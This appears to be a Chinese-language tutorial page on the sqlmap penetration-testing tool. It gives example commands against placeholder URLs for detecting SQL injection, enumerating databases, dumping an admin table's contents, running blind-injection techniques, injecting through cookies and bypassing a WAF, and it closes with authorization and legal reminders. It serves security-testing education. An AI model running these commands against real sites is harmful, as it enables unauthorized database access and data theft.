工具简介
SQLmap是一个开源的渗透测试工具,可以自动检测和利用SQL注入漏洞,接管数据库服务器。它具有强大的检测引擎和众多的功能,用于进行渗透测试和数据库安全评估。
主要功能
自动检测
检测各种SQL注入漏洞
数据提取
从数据库中获取数据
数据库枚举
获取数据库架构信息
权限提升
获取系统访问权限
基本用法
# 基本SQL注入检测
sqlmap -u "http://example.com/page.php?id=1"
# 指定参数进行检测
sqlmap -u "http://example.com/page.php" --data="id=1&user=admin"
# 自动获取数据库
sqlmap -u "http://example.com/page.php?id=1" --dbs
# 获取指定数据库的表
sqlmap -u "http://example.com/page.php?id=1" -D dbname --tables
# 获取表中的数据
sqlmap -u "http://example.com/page.php?id=1" -D dbname -T tablename --dump
常用参数
| 参数 | 说明 |
|---|---|
| -u | 指定目标URL |
| --data | 指定POST数据 |
| --dbs | 枚举数据库 |
| -D | 指定数据库名 |
| -T | 指定表名 |
使用示例
示例1:完整的注入流程
# 检测注入点
sqlmap -u "http://example.com/page.php?id=1"
# 获取所有数据库
sqlmap -u "http://example.com/page.php?id=1" --dbs
# 获取数据库users中的表
sqlmap -u "http://example.com/page.php?id=1" -D users --tables
# 获取users数据库中admin表的列
sqlmap -u "http://example.com/page.php?id=1" -D users -T admin --columns
# 导出users数据库中admin表的数据
sqlmap -u "http://example.com/page.php?id=1" -D users -T admin --dump
从检测注入点到提取数据的完整流程
示例2:自定义注入技术
# 使用布尔盲注
sqlmap -u "http://example.com/page.php?id=1" --technique=B
# 使用时间盲注
sqlmap -u "http://example.com/page.php?id=1" --technique=T
# 使用cookies进行注入测试
sqlmap -u "http://example.com/page.php" --cookie="PHPSESSID=1234" -p PHPSESSID
# 绕过WAF进行注入
sqlmap -u "http://example.com/page.php?id=1" --tamper=space2comment.py
使用不同的注入技术和绕过防护
安全提示
- 仅在获得授权的目标上使用
- 不要在生产环境中进行测试
- 注意保护敏感数据
- 遵守相关法律法规